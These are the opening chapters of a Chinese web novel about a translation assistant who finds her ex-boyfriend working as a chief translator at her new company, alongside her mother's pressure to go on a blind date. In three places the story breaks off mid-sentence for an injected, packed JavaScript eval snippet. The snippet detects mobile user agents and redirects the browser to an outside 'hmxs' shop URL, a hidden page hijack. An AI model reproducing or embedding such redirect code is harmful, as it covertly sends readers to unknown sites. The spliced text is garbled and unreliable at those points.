《万物不将来[破镜重圆]》 1. -01- 万物不将来/林清芽 晋江文学城独家发表 2025.10.6 看见那人时,余好简直呼吸一滞。 怎么会是他。 全国上百万家公司,偏偏她在这么狼狈的时刻进了陆凭青所在的这一家图书翻译公司。 陆凭青,她的高中同学,大学同学,以及她的……初恋。 当时分手得不算体面,以至于不管中学还是大学的同学聚会余好都没去过。 为什么? 怕前任相见,尴尬呗。 哪晓得都这么躲着了,这也能遇见,说是狭路相逢也不过如此。 高大英挺的男人站在办公室门口,侧耳听人说话。 清冷的脸部线条硬朗,剑眉入鬓,举手投足之间,厉气疏离尽显,光看气质就是不好接近的一类人。 身旁的人递过去一份文件,凌厉目光扫过内容,握住钢笔利落签好字。 快速,干脆。 “这是你的工作牌。”负责带她熟悉公司环境的同事周希然递给她一副工作牌。 蓝色丝带,证件照端正大方,余好腾出手,稳稳接住。 剪着波波头,眼大肤白的活力女孩周希然,介绍公司的时候,还带着点小八卦的语气:“正宸跟其他公司不太一样,工作牌上班时间必须时刻戴着,否则被陆首席看见肯定会被训的。” “我们公司的陆大首席可是不会允许有人不带工作牌的,喏,就是站在大厅穿白衬衫跟人说话的那个。” “陆首席刚毕业就来了正宸,能力强长相正,就是脾气很冷,对手底下的员工十分公事公办,从不会心慈手软,但凡文稿里有半点瑕疵都能给你找出来。” 周希然说完,瞧着余好的表情,还以为她被吓到,好心安慰:“不过还好你是去做苏首席的助理,所以不用太担心,走吧,我带你过去跟陆首席打个招呼。” 余好甚至都没反应过来,已经被周希然拉到那人面前了。 他原本还在跟人说话,被周希然一声‘陆首席’叫得回了头,“这是我们组的新人。” 几乎是那一刻就四目相对,余好就感觉自己快要失声。 什么职场高情商话语,什么初次见领导该说的话术,统统被抛在脑后。 余好很清楚的捕捉到陆凭青在看见自己后,眉头微蹙了一瞬。 这样近的距离,她能看清陆凭青这些年的变化。 青涩褪去,留下的是在职场上游刃有余的从容,他的那张脸依旧相当冷清。 看人时眉梢轻抬,似乎对任何人,任何事都保持警惕怀疑。 右眼角下方那颗泪痣倒是中和不少凌厉,被他直视也觉得太过于严肃。 这会让人觉得这男人,是不可靠近的,是不可逾矩的。 分开到现在多久了? 大概五年吧。 分手那天,余好甚至都不敢面对面跟陆凭青说清楚,只打了一通电话匆匆说要结束恋情。 很幼稚也很不该。 从前跟陆凭青在一起的日子是她不肯轻易想起的禁忌,也是她刻意想要忘却的。她任某些东西在角落里发霉变质,却也不敢上前揭开,直到此时此刻,像是不知情的人没轻没重把那东西一把扯开,毫无准备暴露在烈光中,一展无遗的尴尬与无所适从。 她宁愿当个透明人。 他缄默片刻,眸光落在她抿着唇照下的那张蓝底三寸工作照上,淡声开口: “余好?” 好熟悉的声音,沉稳醇厚,总能叫人静下心来的声线。 曾经她最爱的就是缠着陆凭青为她念诗,一字一句都叫人怀念得心悸。 不晓得现在,他是否会为他的伴侣去做那种事情。 “是,陆首席,我是新来的翻译助理,余好。”她极力压制自己的胡思乱想,尽量保持叫人看不出破绽的浅浅笑容。 “我看余助理的高中母校是南临一中,我记得陆首席也是那里毕业的,你们从前有见到过吗?”周希然八卦地问起这个。 余好的目光却落在他桌角那份翻开的文件上,亲笔签名遒劲有力,像他给人的第一印象。 恍惚想起很多年前的夏天,穿着蓝白色校服的挺拔男生走上讲台。 暖洋洋的阳光懒懒扑在少年好看的面容上,从他长长的睫毛到眼下的泪痣,少年天生就带着清傲的资本。 十六岁的余好还没从昏昏欲睡的感觉中抽身而出,就看见少年端正自持在黑板上写下的那个令她此后许多年听见都为之心尖一颤的名字:陆凭青 【我叫陆凭青,现在开始也是高一六班的班长】 凭青,陆凭青。 凭仗丹青重省识。 陆凭青幽黑的眸看向她,真像是稀疏平常的在询问她:“见过吗?” 余好捏紧手中的工作牌,指尖轻微发疼。 十几秒的沉寂后,她被周希然用手肘轻轻碰了碰:“小余姐,陆首席问你话呢,走什么神。” 余好避开他的目光,对周希然歉意地笑笑:“嗯,好像没什么印象,大概……没见过吧。” 话落音,有人走到陆凭青身边,轻声提醒:“老大,贸贞的总经理已经到楼下了,我们现在下去吗?” 陆凭青点点头,淡然说了句:“你们自便。” 他快步走过余好身边,脚步稍快,和助理进了电梯。 电梯门合上,周希然抬抬下巴,看向工作区:“走吧,带你去工位。” 余好的工作位是C组靠墙的一处格子间,桌上有台苹果电脑和白色置物箱。 置物箱里是未开封的崭新便签纸和工具笔一类的用品。 面面俱到又细心。 “这是你的位置,”周希然拿出一张新职员报道在她名字后写上‘已签到’,笑着说:“今天我们组两个新同事呢,你是其中一个,听张姐说另一个还是海归。” “另一个新员工也到了吗?”余好环顾四周,想看看跟自己一起被招进来的那个人。 “跟组长在会议室呢,好像是想去陆首席手下,但那边其实不如我们组轻松,陆首席平时都不怎么笑的,他们组都是冷脸工作狂,不过聚餐倒是很多啊,私底下都是陆首席请客。 相较之下,我们俄语五组里还是司首席跟郑首席和蔼可亲一点,说起来,司首席也很帅啊,笑起来又很蛊,可惜他现在在明斯克出差……” 余好之前简单了解过正宸集团。 成立于1995年,分公司遍布三十四个城市,她所在的总部单是俄语区就分五个首席翻译。 「苏簌,陆凭青,司幸来,傅卷礼,郑辉」 苏簌是在面试现场坐主位的那个,也是五组里面唯一一个女翻译首席。 余好压下听见陆凭青名字的余悸,深吸一口气,提起精神笑了笑:“是吗,我之前那个公司倒是不怎么聚餐,偶尔一两次上司都盯着人均价格少的地方请。” “真的吗,那也太抠了吧。”周希然不可思议睁大眼睛吐槽。 余好点点头,发现旁边的格子间没人,但东西却整整齐齐摆放得很多:“这里有人吗?” 周希然煞有介事小声说:“有的,你右手边这位是个男的,叫乔柏茁,性格特别怪,不喜欢别人碰他东西,这几天请假了,说是换季感冒。他这人不好相处的,不喜欢跟同事来往也很少参加同事聚餐,你没事最好别跟他说话。” 余好又看了一眼隔壁桌,点点头说好。她的东西不多,随便收拾一下就行。 上午十一点二十分,余好走到首席办公室,调整呼吸,抬手敲门。 “请进。”苏簌清晰干脆的声音从室内传来。 余好压下门把走进里面。 坐在办公椅上的女人浑身透着一股从容自洽的轻熟气质,眉眼立体,眸色浅棕,齐肩发型,深蓝色职业装,右手食指带素圈,不停用记号笔在文件上圈圈点点,专注着电脑中的视频会议。 很漂亮中性的一张脸,眉骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677563|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深邃,英气中细看还有点混血感,但因着不苟言笑,看起来也就冷感爆棚。 堆了一摞的蓝色文件旁,是一杯星巴克咖啡,大概率是楼下买的。 “下周五晚七点,我要收到Q34这个项目的最终稿件。另外,小廖,我在早会说的那个关于天文学科普的国外项目,你帮我跟进一下国内各个图书馆的同类型书销售情况,OK,今天主要讲这几点,明天之前我会把每份译稿具体问题批注在文档,注意查收。” 屏幕上的视频挂断,苏簌看了一眼站在门边的余好,冷感十足的脸上终于有点温度,她勾唇笑笑。 这么拘谨的新人,她还是第一次见,对余好的印象仅停留在面试那天,她记得这个新人提到专业问题时侃侃而谈的样子。 “关上门,然后过来。”苏簌利落吩咐。 余好轻轻关门后把文件放在办公桌上:“苏首席,这几份是我从前的翻译旧稿。” “知道了。”苏簌忙得手指飞快在键盘上敲击,“稍等。” 余好唇角勾出淡淡笑容,职业性微笑:“没关心,您忙。” 五分钟后,苏簌喝了一口水,抬眼看余好:“知道我为什么招你进来吗?” 余好摇摇头,她的确不知道苏簌为什么会招她进正宸,毕竟简历比她厉害的人不在少数。 “你很有耐心,也懂得审时度势,不管是面试那天接近二十分钟的等待,还是刚刚,你从没有不耐烦,我需要这样的助理。 这一行,急于求成的人走不长。翻译图书有时是个枯燥的事情,不仅要专业能力过硬还需要超强的耐心,我希望你能把你的优点发挥到极致。” “好的。” * 刚入职的工作量并不大,都是些很简单的事情。 余好跟周希然一个下午茶的时间就聊熟了,两个人还约定周末去逛街。 打完卡下班后,余好站在走廊等待电梯。 廊道凉爽安静,看着数字从15下降至12楼,电梯门打开,她对上一双深邃的眼眸。 后者淡然垂下目光看文件,余好则怀疑自己出门是不是忘记看黄历,没想到这也能遇见陆凭青。 陆凭青和一个男人站在里面,他穿灰色混纺西装,双腿修长,冷清禁欲,站在电梯一侧听人说话。 余好记得陆凭青身边那个男人,早上她见过,好像叫陈臻,没记错的话,应该是陆凭青的助理。 “下午好。”余好礼貌打了个招呼。 “下午好啊。”陈臻挺热情的回应余好。 陆凭青只是轻点头,然后侧身对陈臻说:“那就先这样,我晚点跟苏簌再核对一次。” 余下两人四目相对,余好犹豫要不要进去时,陆凭青向前走了一步,摁下开门键,淡淡开口:“去一楼?” “……是” 陆凭青往旁边站,明显是在等她。 这个份上,她再别扭也说不过去,余好干脆一咬牙进了电梯厢。 没有任何旧情人见面的抓马剧情,他只淡然处之。 电梯门合上的一瞬间,她感觉空气都凝固几分。 余好没想过,有朝一日还能跟陆凭青共处一室,这种感觉真的挺奇怪。 他的存在感实在是太过于强烈,余好摒着呼吸等待电梯下降,她都不敢直视陆凭青,视线也刻意固定在上方显示屏上。 那年的事,她做得过分,再怎么样也不该一意孤行,连分手的画面再回忆起来都是支离破碎的。 余好现在都还记得分手时,电话那头陆凭青冷声说出的那些话。 【余好,我不会对你失望】 【因为从今以后,你和我什么都不是】 他当时大概是恨透她了,才会说出那些话。 现在陆凭青将她当作陌路人,是应该的。 她想,要不是几个月前,因为功劳被顶替在办公室跟上司对峙的事情被老妈知道后大吵一架,她现在应该还在南临上着两点一线的班。 2. -02- 叮— 电梯提示机械音打破沉寂。 终于到达一楼,余好匆匆走出电梯厢。 陆凭青目光追随她的身影消失在玻璃门外,才迈出电梯,长腿步伐轻快,往档案室的方向走,他开口问陈臻:“苏簌的助理敲定下来了?” 语气似是平淡,像随口一问。 陈臻跟上他:“是啊,就上次面试那一轮出来的几个,复试后留下的两个新员工,本来两个都是苏首席的助理,结果那什么周川非要来我们组,另一个留在苏首席那里的新助理就是刚刚我们在电梯里见到过的,姓余,叫余什么来着,嘶……” 两人脚步停在右侧第二个房间,陈臻拿着钥匙开档案室的门,嘶了半天也没想起来。 陆凭青打开门,将里面的灯打开,天光大亮,他说出那个人的名字:“余好。” “嗯嗯对,是这个名字,当时面试完了之后,我还记得苏首席和顾经理在会议室争过这个助理的去留。余好是苏首席竭力保下来的面试者。” 陆凭青视线停在第三栏中间那份文件册页,上面标注【W24-002】「外语图书定稿—残酷故事」,干净利落抽出文件,翻了几页,他随手放在置物架上,又拿出几本同类书:“贸贞的合作项目,这几本是参考,格式,排版尽量做到一模一样。” 陆凭青想起余好,指尖一顿:“苏簌会主动保人?” “是啊,那场面你是没看见多据理力争,跟当时签姚蕊佳进公司的时候一样,说起那个叛徒,我现在都想骂几句,拿了公司的赔偿款还要出卖苏首席,好歹也喊一声恩师的情份,也不知道这回的余助理会不会赴前车之鉴……” 陈臻话未说完,陆凭青眉宇微蹙,语气坚定打断道:“她不会。” “老大,你跟余助理很熟吗,你怎么知道她不会?” 陆凭青漠视一切的形象已经深入人心,忽然对一个新员工这么维护,多少有些不对劲,陈臻仿佛嗅到什么秘密,八卦之心油然而生。 “随便说说,你很闲?”陆凭青唇角勾出一个淡笑幅度,“那今晚加个班,把书籍荐语写好发给我。” 陆凭青看人晴天霹雳一样愣住,他淡然走到玄关处签名登记。 陈臻急忙跟上去:“别啊,老大,我嘴欠乱说的。” 皓月当空,余好穿着家居服从氤氲着雾气的浴室出来。 薄纱窗被夜风吹得纷飞乱动,她随手用毛巾擦着滴水的发丝,啪地一声轻关上窗户。 茶几上的手机不停震动,屏幕一闪一闪孙老师的备注。 此刻显眼得不容忽视。 是的,她妈,孙傲梅,南临一中高三部教导主任,不仅面对学生威严在望,对余好更是管控森严。 她接起电话,孙傲梅女士的声音就传来:“睡了?” 余好:“没有。” 孙傲梅单刀直入:“你二姨给你介绍一个条件不错的男的,律师,也在榕城,比你大两岁。我见过了,人不错还谦虚。是阿笙的同学,知根知底的,我和你二姨都觉得可以,你周末抽空去见一面。” 她听了孙女士半辈子的话。 余好从小到大,什么事情都是由孙傲梅敲定。 小学的兴趣班到中考后择校,她从来没有说不的权利。 那次离职也是她冲动之下做出的举动。 余好单亲家庭长大。 她也不是一出生就单亲的。 说起来,余好双亲还都是知识分子。 母亲孙傲梅是南临的教导主任兼物理老师,父亲余建伟是小学老师。 那年农村改革,余建伟被派去支教,为期两年,临了临了快到回来的日子,山里发了洪水,他一去不复返。 那年余好才五岁,五岁的小屁孩还流着鼻涕泡泥坑呢,知道个屁。 余好被姥姥搂在怀里,听周围人絮絮叨叨,眨巴着眼看着余建伟的遗照想。 老爸恐怕这辈子再也不能回来带她放风筝了。 夫妻俩感情好,十里八乡出了名的恩爱,孙傲梅咬着牙一个人把余好拉扯大。 强势的女人,任由是谁都不敢轻易欺负的,但这也让余好打心底就抱着对老妈的顺从。 通常在余好的人生选择上,孙傲梅怎么说,余好就怎么做。 这也导致母女两缺乏真正的交流。 说来也是好笑,几个月前头脑一热离职了,她都不敢跟老妈说,每天溜出去假装上班作息,最后被老妈看出来,在饭桌上就大发雷霆问她怎么回事。 余好实话实说,也不知道怎么就吵起来了。 老妈指着门口让她滚。 委屈和叛逆偏偏这时候找上来,余好提着行李真就滚到了榕城。 三个月,老妈没给她打过一次电话。 母女两闹着别扭呢,中间全靠二姨在微信上传话。 这好不容易打来电话,开口就是让她去相亲。 “妈,我不想去,我才二十七岁,你能不能别总操心我,现在不是以前,晚婚又不是什么丢人的事情。” “我不要听你那些歪理,反正这个人你必须去看看,不然过年也别回来。余好,你上次离职已经够让我头疼,我为你选的路都是最适合你的。” 老妈像是下定决心了。 余好无声薅了一把头发,皱着眉不情不愿应下:“知道了。” 老妈挂了电话,立马把微信名片推给余好。 她看了一眼头像,无奈点下好友申请。 跟相亲对象见面的地方约在一家好评居多的西餐厅。 周六的下午,余好早早等待在餐厅内。 11月初的榕城雾天尤多,连绵小雨将停未停,整座城都笼上一层不真实的滤镜。 余好安静看着窗外各色雨伞穿梭于人群中,像在观看一场黑白默片。 “请问是余好吗?”耳边响起一道温和的男音。 余好愣了一下,回过神,看见一双泛着笑意的眼睛。 面前的男人面容清秀,身型挺拔,只简单穿了浅灰色衬衣,冷白肤色,戴一副细框眼镜,手腕一块金属腕表,不说话时唇角也是微微上扬。 温和优雅的气质倒不像律师,像老师。 余好只用三秒就反应过来,这就是家人介绍给她的相亲对象——沈亦荷。 也是表姐林笙的高中同学。 “我是,”余好站起身,不好意思地朝对方歉意笑笑,“抱歉,我以为你会晚点到。” 约定的时间是下午六点半,余好提前赴约,没想到对方居然也是如此,此刻时间不过刚到六点。 “等了很久吗?”沈亦荷轻声询问,绅士拉开椅子让余好坐下。 余好浅笑摇摇头:“没有,我也是刚来。” 沈亦荷将菜单递到她面前,语气温和:“要喝点什么吗?” 余好:“跟你一样就好。” 沈亦荷点了两杯店内热销的焦糖玛奇朵,又问了余好是否水果过敏,看她摇头后,他加上一道芒果慕斯才将点餐平板递给服务员。 余好来之前就听二姨说过沈亦荷的条件。 红圈所合伙人之一,不到三十岁就打赢多个棘手官司,业界拔得头筹的存在,只是…… 余好有些想不通:“沈先生,以您这样的条件,找一个合适的伴侣应该是件很容易的事,为什么会来相亲呢?” “我平时工作比较忙,私人时间不多,这样一开始就开诚布公的相处比较适合我。”沈亦荷淡弯唇角,“毕竟,等缘分不如自己找缘分。” 余好唇瓣微张,恍然点点头:“有道理。” 服务员很快端来咖啡和甜点,两人借着这个话题又聊到榕城的天气与沈亦荷律师所的工作,余好的视线很快被桌面上不断闪烁的手机屏幕抢占了注意力,沈亦荷没有要回消息的征兆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677564|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 几次后,她终于忍不住问:“不回没关系的吗?” “没事,公司同事在群里闲聊,听说我在相亲,大概是忙着调侃我。”沈亦荷将手机反扣在桌面上,换了话题,“孙阿姨说你在正宸集团上班。” 余好下意识觉得他是想更深入了解彼此状况,好决定要不要继续发展,想了想说:“嗯,前不久才入职。” “很不错的公司,国内也排得上名号。” 余好垂睫,淡笑道:“公司是不错,不过我只是一个翻译助理。” 细长调羹无意识搅拌杯中的咖啡,余好抬起头发现沈亦荷正目不转睛看着自己,她指尖一顿,问他:“怎么了?” 沈亦荷摇摇头浅笑:“只是觉得你好像跟孙阿姨形容得不太一样。” 二楼眺望台的餐桌前,一只骨节分明的手调整了耳朵上的蓝牙耳机后端起西瓷杯。 西装革履的男人坐在椅子上,喝咖啡的动作淡然处之,那是一张眉眼相当冷清的俊逸面容,挺鼻薄唇,右眼下那颗泪痣都自带淡薄感。 “大伯也不想总跟你吵架的,说白了长辈发几句牢骚你别往心里去,你知道他这人嘴硬心软,也不至于一直不回家不是。” “嘴硬心软?”男人姿态闲适置下咖啡杯,冷笑轻讽,“陆正筳他到底是有什么魔力,让你们都向着他说话。” “凭青哥,你真该回去看看的,大伯现在憔悴了很多,那次爷爷生日,跟你吵过之后,他身体都不太好了,不管什么仇恨,亲人之间吵成这样未免太难堪。” 陆凭青:“他做那些龌龊事的时候不知道难堪,现在装悔悟是不是太晚?” 陆子扬还想再劝,被他开口打断,“接你电话不是听你替他说情的,如果你只有这些想说,就挂了。” 他的事情不愿意让那个人知道一点。 “好好好,我不说了,不说了行吧,你别生气。” 陆子扬从小就打心底钦佩这位表哥的,做什么都能做到顶尖,上学时是高考状元,毕业后又在榕城百强的大企业正宸集团做首席翻译官,特别得天独厚的一个人。 所以劝话也不敢太过头,只能点到为止。 忽然有小孩尖叫一声,陆凭青侧头去看,无意再听耳机里陆子扬的生硬,视线停在斜下方那个年轻女人身上。 乌黑的头发懒散挽成花苞,低低垂在后脑,穿纯白色贴身针织衫,下身搭配淡杏色包臀裙,杏色细高跟衬得肤白腿长,气质温婉,她扶起差点摔倒的小孩,然后笑着跟对面的男人说话。 气质斯文的男人说了什么,她笑容更灿烂。 陆凭青看着那张笑颜如花的脸。 她笑的时候仍然是记忆中那样,两只眼睛先弯起来,紧接着唇角漾出一个浅浅梨涡。 陆凭青淡然处之轻抿一口苦咖,面上薄凉依旧,只是指节握着杯子的力度无端加重。 “凭青哥,你还在听吗?” 陆凭青眸色稍深,淡然收回视线,睫毛投下的阴影恹恹盖住眼下泪痣。 片刻后,他抬眸,看不出任何情绪,淡然启唇:“有点事,先挂了。” 他轻触耳机挂断电话,起身急切想去寻找刚才的视线停留点。 人影憧憧,楼下除了几桌顾客和玻璃门前挂着微微飘动的晴天娃娃,再无任何踪迹可循。 他们走了。 分手后,他从旁人零零散散的消息中拼凑出余好离开他后的生活。 分手半年,她去相亲了, 分手一年,她订婚了, 最后一次消息,有人说在家具城见到她和她的未婚夫。 然后,陆凭青切断了所有高中同学的联系。 那么她怎么会来榕城,为什么是现在,为什么是这一年? 陆凭青薄唇紧抿,眉宇微蹙。 所以,那个男人是她的朋友,还是—— 丈夫? 3. -03- 周四早上,余好提前到公司,格子间寂静无声,同事都还未到。 工作牌丢了,她刚刚才发现,在工位翻箱倒柜找了一阵都没影,余好抓了抓头发,试图从一堆文件里抖出工牌,手机嘀一声响起。 周希然发来信息:【小余姐,我忘记今天的会议会多两位同事,资料不够,你现在去一趟文印中心多准备几份行吗?文件就在我办公桌上。】 正宸每周四有一小时的晨会在大会议室举行,几位首席翻译安排近期工作,助理会旁听做记录,今天轮到她和周希然做记录。 余好回她:【好的】 文印中心很安静,余好走到复印机前,按照顺序把资料摆好放进复印机,机械运作的声音很快响起。 扣扣— 有人敲响身后的桌子,余好回头,看见陆凭青站在玄关处。 他单手拿着一份文件,目光毫不避讳看向她。 “陆首席。”进入公司一个月,上次见他还是在电梯里,余好尴尬地打了个招呼。 陆凭青听见这个公事公办的称呼,眉梢抬了抬,没说话,余好只以为他只是来办公的,转身继续整理资料。 视线落在余好穿着十厘米高跟鞋的脚跟上,后跟磨得泛红。 陆凭青眉间一蹙。 她对自己都那么敷衍。 复印机不知道抽什么风,叮叮哐哐的一阵一阵乱响,然后吐出来几张白纸,余好弯下腰看半天也没看明白这东西怎么弄。 陆凭青径直走过来,他俯身,不紧不慢操作几下,复印机又恢复如常。 “转印带的问题,下次再遇到可以开侧盖调整,”陆凭青合上机器,往一侧站,“另外,余助理,你东西丢了。” 失而复得的工作牌被他轻置在桌面,余好诧异一瞬,想起应该是早上打完卡掉电梯里了,拿过工作牌戴上:“谢谢。” 这工作牌上的照片还是她随便找的照相馆拍的,效果并不怎么好,也不知道陆凭青看没看到。 要是他看得仔细,想想也是挺尴尬的。 思绪神游外太空,资料最后一张轻轻落下。 她关灯后才发现陆凭青居然还在身后。 漆黑的空间,余好有点不适应,穿着高跟鞋差点踩空,踉跄几步,被陆凭青扶了一把。 他身上有股很淡很清冽的味道,他没松手,也没再有任何动作,只是微不可觉呼吸变得稍重。 “茶水区放速溶咖啡的那个抽屉里有创口贴。” “最好花点时间处理下,脚跟会发炎不算工伤。” 余好愣了一下,反应过来才明白陆凭青在说什么,胡乱说了谢谢,转身摸到墙壁走出去。 陆凭青信步跟着走出,他唇瓣动了动,想说什么。 陈臻走过来就看见两个人站在文印中心,随口问了一句:“老大,余助理,你们怎么都在这?” 余好实话实说:“复印资料,晨会用得上。” 陆凭青话落到嘴边,只吐出两个字:“路过。” “哦这样啊,余助理你吃过早餐了吗,茶水间早上有热饮可颂,来不及吃饭可以去拿一份,今天的热可可还不错。” 面对陈臻的热情,余好回之淡然微笑:“谢谢,我吃过了,你们先忙吧,我去会议室准备议前工作了。” “好的余助理。” 陈臻看看余好的背影,再看看陆凭青,皱着眉说:“怎么感觉你和余助理之间有点怪。” “有时间瞎猜别人的事,工作太少?新来的员工都比你有规划。”陆凭青把文件扔给他。 “我哪有瞎猜,再说周川那加班节奏除了老大你谁扛得住。”陈臻接着东西,跟在陆凭青身后。 会议室准备得差不多的时候,周希然姗姗来迟,头发看起来应该是淋了雨,半湿半干。 她看见桌上整齐摆放的文件和投影仪上的清晰图文,标题显眼简洁,不由感叹: “小余姐,你这也做得太好了吧,一个人也这么高效率,里面温度都调得刚刚好,跟你做搭档真好,我还怕你一个人搞不定,打了车来的,你都不知道今天外面雨多猛,我伞骨都吹坏了。” “这里我来准备就好,你去更衣室换套衣服吧,我柜子里有新的毛巾可以用,小心感冒。” 余好说完,周希然感动得做了个想哭的表情:“呜呜,小余姐你真好,那我先去了,会议室这里麻烦你看着。” 余好去茶水间泡了杯红糖姜茶,放在周希然的座位上。 会议记录员工的座位安排在最后,这样方便处理各种突发状况。 苏簌走进来时,看见余好在检查PPT翻页功能,看见上司,礼貌打招呼:“苏首席早上好。” 苏簌点点头,问她:“看出什么问题了?” “都挺好的,只是我在想如果会议厅的小灯再多几盏,投影效果会更好。” 苏簌站在余好身边,盯着投影仪看了一会,说:“会议过后,让后勤部整改一下。” “是,”余好拿出一张统计单给她,“这是其他前辈发来的市场分析数据,我用文字整理了一下,这样可能会更好观察。” “可以。”苏簌看了一眼,点点头,“做得不错。” 厅内人员陆续到齐,余好站在苏簌身边,跟来人一一打过招呼。 陆凭青和她视线相交几秒后,绕过桌椅,落坐在右侧第一张椅子。 所有人都落座后,余好回到自己的位置上,周希然捧着玻璃杯在喝姜茶,她笑嘻嘻跟余好说:“我第一次觉得姜茶这么好喝,”环顾一圈,又推推余好的手臂,“哎哎,你看,陆首席旁边那人就是司幸来司首席,是不是挺帅的?” 顺着周希然目光望过去,余好看见一个穿淡粉色衬衫的年轻男人,高大有型。 卷起袖口的右臂轻轻撑在陆凭青椅背边,他另一只手随意拎着白西装外套,搭在肩上。 衬衫领口微敞,剑眉星目,有气魄的眉压眼,交谈时单边嘴角挑起。 招人的桃花眼下,卧蚕明显,勾人又危险,亦正亦邪的帅。 难得,穿粉色都不翻车的男人。 余好淡淡嗯了一声,脚后跟现在还在隐隐作疼,她实在没心情欣赏帅哥,揉揉发酸的小腿,无意看见桌上多了两张创口贴。 她心头猛然一震,看向陆凭青,却见那人怡然自得跟司幸来说话,一举一动都自信有余。 余好捏着创口贴,还是老老实实贴在脚跟处了。 会议有苏簌介绍项目展开,她语速稍快,直击重点。余好的记录跟得紧,细致认真。 “相信大家也都知道,公司现在着重与贸贞出版社的项目,是一批俄国诗歌,项目还没吃下来。近几个月,互联网博主带动这一趋势,热度只增不减,贸贞目前是国内最大的海外图书版权方,也是我司合作多次的甲方。 这次的诗歌选题我和几位首席都很看好,我们要顺势而为抓住这一风口,避免好项目被其他翻译公司拿到。 这个月内,我和陆首席,司首席会安排助理跟我们去一趟宜安市的贸贞总部跟他们负责人面谈,让对方看见我们的诚意。” “今天开会主要是确定每个组随行助理名单,从陆首席开始吧,后面两位助理麻烦记一下名字。” “是。”周希然和余好异口同声。 “陈臻,杨倩。”陆凭青淡然。 司幸来也顺势报上助理名:“易楝,郑丽娟。” 苏簌:“我们组这次的随行助理,我准备派余好和周希然去。” 听见自己名字,余好笔尖一顿,她不可置信看苏簌。 众人纷纷神色各异,坐在后排戴眼镜的男人站起身,显然不满这样的结果: “苏首席,如果没记错,余好跟我同一天进公司,况且我的绩效分高过她很多,为什么余好可以参与这么大的项目,随行助理的挑选是否存在不公平?” 手底下的员工公然质疑公司安排,陆凭青表情也淡然,反倒是他身边的司幸来,背靠座椅,弯着眼,慢条斯理看戏一样的挑挑眉。 余好听见司幸来带着轻笑的嗓音轻声揶揄陆凭青:“你这员工哪儿招来的,这么头铁,苏簌的台也敢拆。” 当然,后者仍旧保持沉默,只垂眸做记录。 苏簌面对这场面并不恼怒,反而立场坚定维护余好: “这样的项目随行助理不需要看工龄,有能力及转正的员工皆有机会。余好是我手下的员工,她适不适合我最清楚,我们组的每个助理我都给予过相同的机会。 余好她做事细心周到,随时会做两手准备,这些都是实事求是摆在台面新人不可多得的习惯。 正宸如果光靠走后门就能活到现在说出去岂不是让人笑掉大牙。周助理,希望你下次再接再厉,不要再胡乱揣测,否则按员工制度处理。” 周川脸都黑了,泄气的坐在位置上,一副不服气的样子。 “最讨厌这种小肚鸡肠的男人,还是跟我一个姓的小气男人。”周希然对余好吐吐舌头,吐槽了几句。 会议结束后,余好主动跟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677565|188717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏簌身后。 “苏首席,我经验不足,可能确实不太适合这么快参与大项目。” 毕竟周川的话也不完全算错,她对这个行业才刚刚开始了解,从前只在幕后,现在还要负责谈判,余好心里没底。 “没有经验多参加几次就有了,谁不是从零到一。余好,面试那天你可不是这样畏手畏脚的,我知道你可以。” “可是……”余好还想说什么,苏簌将她的工作牌翻到照片那一面。 “没有可是,余好,你只需要听从我的安排。” “是。”话卡在嘴边,余好不再争论。 站在原地看苏簌走远。 临近下班,大家手上的工作都做得差不多,余好查阅项目书籍同类型销售量,稿纸上全是字迹。 冷门,热门都记录在数。 身边的乔柏茁一刻不停敲着键盘。 有人打来电话,他也只是看了一眼,没理。 这人真的和周希然说的一样,孤僻,不爱交流。 一个月的时间,余好就跟他说过两次话,为了交接工作,全程不到五分钟。 他的电话又响起,乔柏茁终于不耐烦点了接听键。 “柏茁啊,你爷爷进急诊科了,给你二伯气的,你赶紧来市二副中心医院看看吧,这医生让我们交钱,我们手里也没那么多钱啊,你不是在上班吗,存了不少了吧……” 年迈的老人声音从话筒里钻出来,带着哭腔却又失真的感觉。 话里话外让他赶紧过去送钱。 乔柏茁面无表情说了句:“我没钱,我也没时间管你们的破事。” 他抓了把头发挂了电话,继续工作。 状态却不太对劲了,不时看一眼亮起得手机屏幕。 余好看出他的急躁,往他那边递了一把伞:“要不你先过去吧,剩下的我可以帮你。” 乔柏茁狐疑拧眉,他和余好甚至都没说过几句话,这人还愿意帮他,实在出乎意料。 余好看出他的顾虑:“我做好后发给你,你再检查一遍就好。” 他明显有些松懈了:“你为什么帮我?” “我下班也没事,合同翻译我还是能解决的,我看你这个也快结束了,应该用不了很长时间,都是同事,这次我替你结尾,说不定下次我也有需要你帮忙的地方。” 六点整,大家陆陆续续离开工作位。 乔柏茁被她说服,接过伞,又愣了一下,“那你伞给我了自己怎么办?” “我看过天气预报,应该一个小时内会停。” 